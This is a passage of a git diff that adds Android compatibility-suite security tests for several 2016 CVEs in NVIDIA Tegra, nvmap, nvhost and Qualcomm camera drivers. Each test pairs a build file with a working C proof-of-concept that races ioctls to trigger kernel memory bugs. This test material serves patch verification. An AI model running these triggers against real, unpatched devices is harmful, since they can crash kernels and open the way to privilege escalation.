+		ioctl(fd, DRM_IOCTL_TEGRA_STOP_KEEPON, &keepon_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create keepon thread */
+	for(i = 0; i < KEEPON_THREAD_NUM; i++){
+		ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
+		if(ret){
+			goto out_keepon_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set keepon */
+			keepon_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+	
+out_keepon_thread:
+	/* kill keepon thread */
+	for(i = 0; i < KEEPON_THREAD_NUM; i++){
+			pthread_kill(keepon_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
new file mode 100644
index 0000000..fd7fc21
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6736
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6736/poc.c
new file mode 100644
index 0000000..77f4b7a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6736/poc.c
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define SUBMIT_THREAD_NUM	900
+#define TRY_TIMES	SUBMIT_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SUBMIT		0x08
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_submit {
+	__u64 context;
+	__u32 num_syncpts;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 waitchk_mask;
+	__u32 timeout;
+	__u64 syncpts;
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 waitchks;
+	__u32 fence;		/* Return value */
+	__u32 reserved0;
+	__u64 fences;
+	__u32 reserved1[2];	/* future expansion */
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
+
+int fd;
+pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_submit submit_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* submit_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
+		ioctl(fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create submit thread */
+	for(i = 0; i < SUBMIT_THREAD_NUM; i++){
+		ret = pthread_create(submit_thread_id + i, NULL, submit_thread, NULL);
+		if(ret){
+			goto out_submit_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set submit */
+			submit_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+
+out_submit_thread:
+	/* kill submit thread */
+	for(i = 0; i < SUBMIT_THREAD_NUM; i++){
+			pthread_kill(submit_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
new file mode 100644
index 0000000..bba13f3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8412
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
new file mode 100644
index 0000000..d438b40
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <stdint.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <signal.h>
+
+#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
+#define MSM_SD_SHUTDOWN 0xc00856dd
+
+int fd;
+
+
+int main() {
+  long i;
+  int pid;
+  pthread_t th[6];
+  int argn[50] = {0};
+
+  fd = open("/dev/v4l-subdev7", 0x0ul );
+
+
+  argn[0] = 7;
+  syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
+
+  pid = fork();
+  if(!pid){
+    argn[0] = 1;
+    while(1){
+      usleep(10);
+      syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
+    }
+  }
+  i = 0;
+  while(1){
+    i++;
+    argn[0] = 7;
+    syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
+
+    usleep(100);
+
+    argn[0] = 0;
+    syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
+
+  }
+
+  close(fd);
+
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
new file mode 100644
index 0000000..5ff169b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8424
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c
new file mode 100644
index 0000000..4460b88
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
+#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
+#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+
+int g_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+struct nvmap_create_handle* g_allocation = NULL;
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+void trigger_nvmap_create() {
+    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
+    //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
+}
+
+void trigger_nvmap_free() {
+    static int data = 1024;
+    ioctl(g_fd, NVMAP_IOC_FREE, data);
+    //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
+    }
+}
+
+void prepare_data() {
+    void* data = calloc(1, 0x1000);
+
+    g_allocation = (struct nvmap_create_handle*)data;
+    g_allocation->size = 1024;
+
+    mprotect(data, 0x1000, PROT_READ);
+    printf("[*] mprotect, error = %d\n", errno);
+}
+static int init = 0;
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(0, 2);
+
+    int i;
+    while (1) {
+        if (init == 0) {
+            pthread_mutex_lock(&mutex);
+            pthread_cond_wait(&cond, &mutex);
+            pthread_mutex_unlock(&mutex);
+            init = 1;
+        }
+        trigger_nvmap_free();
+    }
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(0, 1);
+    if (open_driver() < 0) {
+        return -1;
+    }
+    prepare_data();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    sleep(1);
+    while (1) {
+        if (init == 0)
+            pthread_cond_signal(&cond);
+        trigger_nvmap_create();
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
new file mode 100644
index 0000000..e984812
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8425
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8425/poc.c
new file mode 100644
index 0000000..498bca4
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8425/poc.c
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+#define CLOSE_THREAD_NUM	100
+#define TRY_TIMES		900
+
+#define DEV "/dev/nvhost-vic"
+
+struct nvhost_channel_open_args {
+	__s32 channel_fd;
+};
+
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN	\
+	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)
+
+int fd;
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+pthread_t toggle_thread_id;
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	return;
+}
+
+volatile int target_fd;
+volatile int attack;
+void* close_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(attack){
+		usleep(200);
+		close(target_fd);
+	}
+
+	return NULL;
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+	struct nvhost_channel_open_args o_args = { 0 };
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		ERR("[-] open failed");
+		return 0;
+	} else {
+		printf("[+] open OK\n");
+	}
+
+	#if 1
+	ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
+	if(ret == -1) {
+		ERR("[-] ioctl failed");
+		goto out_dev;
+	} else {
+		printf("[+] ioctl OK, fd = %d\n", o_args.channel_fd);
+	}
+
+	target_fd = o_args.channel_fd;	
+	#endif
+
+	/* create close thread */
+	#if 1
+	attack = 1;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
+		if(ret){
+			goto out_close_thread;
+		}
+	}
+	#endif
+
+	#if 1
+	for(i = 0; i < TRY_TIMES; i++){
+		/* open */
+		ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
+		usleep(200);
+	}
+	#endif
+	
+out_close_thread:
+	attack = 0;
+	/* kill close thread */
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		if(close_thread_id[i])
+			pthread_join(close_thread_id[i], NULL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
new file mode 100644
index 0000000..a134d9c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8426
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8426/poc.c
new file mode 100644
index 0000000..c423416
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8426/poc.c
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+#define CLOSE_THREAD_NUM	100
+#define TRY_TIMES		900
+
+#define DEV "/dev/nvhost-gpu"
+
+struct nvhost_channel_open_args {
+	__s32 channel_fd;
+};
+
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN	\
+	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)
+
+int fd;
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+pthread_t toggle_thread_id;
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	return;
+}
+
+volatile int target_fd;
+volatile int attack;
+void* close_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(attack){
+		usleep(200);
+		close(target_fd);	
+	}
+
+	return NULL;
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+	struct nvhost_channel_open_args o_args = { 0 };
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		ERR("[-] open failed");
+		return 0;
+	} else {
+		printf("[+] open OK\n");
+	}
+
+	#if 1
+	ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
+	if(ret == -1) {
+		ERR("[-] ioctl failed");
+		goto out_dev;
+	} else {
+		printf("[+] ioctl OK, fd = %d\n", o_args.channel_fd);
+	}
+
+	target_fd = o_args.channel_fd;	
+	#endif
+
+	/* create close thread */
+	#if 1
+	attack = 1;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
+		if(ret){
+			printf("[+] create close thread %d failed %d %s\n", i, errno, strerror(errno));
+			goto out_close_thread;
+		}
+	}
+	#endif
+
+	#if 1
+	for(i = 0; i < TRY_TIMES; i++){
+		printf("[+] %03d times\n", i);
+		/* open */
+		ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
+		if(ret == -1) {
+			ERR("[-] ioctl failed");
+		} else {
+			printf("[+] ioctl OK, fd = %d\n", o_args.channel_fd);
+		}
+		usleep(200);
+	}
+	#endif
+	
+out_close_thread:
+	attack = 0;
+	/* kill close thread */
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		if(close_thread_id[i])
+			pthread_join(close_thread_id[i], NULL);
+	}
